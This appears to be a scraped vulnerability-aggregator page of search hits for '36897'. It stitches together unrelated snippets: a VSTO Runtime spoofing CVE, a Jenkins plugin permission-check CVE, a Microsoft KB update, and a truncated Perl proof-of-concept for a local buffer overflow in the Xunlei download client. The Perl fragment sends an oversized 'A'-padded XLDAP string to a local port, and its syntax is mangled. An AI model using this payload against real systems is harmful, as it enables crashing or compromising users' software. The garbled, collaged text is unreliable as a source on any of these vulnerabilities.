CVE-2023-36897

CVE-2023-36897 is a spoofing vulnerability in the Visual Studio Tools for Office (VSTO) Runtime. It can allow impersonation of another user and is tied to Office/VSTO deployments. Evidence from multiple sources (MSRC/KB5029497, Nessus plugin, NCSC advisory) indicates the issue affects VSTO runtim...

CVE-2023-36897 Visual Studio Tools for Office Runtime Spoofing Vulnerability

...

CVE-2022-36897

creationtimestamp| type| source ---|---|--- 2022-07-27 18:47:00+00:00| seen| https://t.me/cibsecurity/47084...

CVE-2022-36897

A missing permission check in Jenkins Compuware Xpediter Code Coverage Plugin 1.0.7 and earlier allows attackers with Overall/Read permission to enumerate hosts and ports of Compuware configurations and credentials IDs of credentials stored in Jenkins...

CVE-2022-36897

Summary: Jenkins Compuware Xpediter Code Coverage Plugin

迅雷本地溢出POC

No description provided by source. !/usr/bin/perl use IO::Socket; if $socket = IO::Socket::INET-newPeerAddr = “127.0.0.1″,PeerPort = “36897″,Proto = “TCP” $exploit = “XLDAP|savepath|”. ”A” x 397. ”A” x 500. “|XLDAP”; print $socket $exploit; sleep1; close$socket; else...

Update for Microsoft Visual Studio 2010 Tools for Office Runtime (KB5029497)

This update rollup for Visual Studio Tools for Office fixes a number of top customer issues for the Runtime. In particular, it addresses an issue described in CVE-2023-36897. The update also includes fixes from previous updates...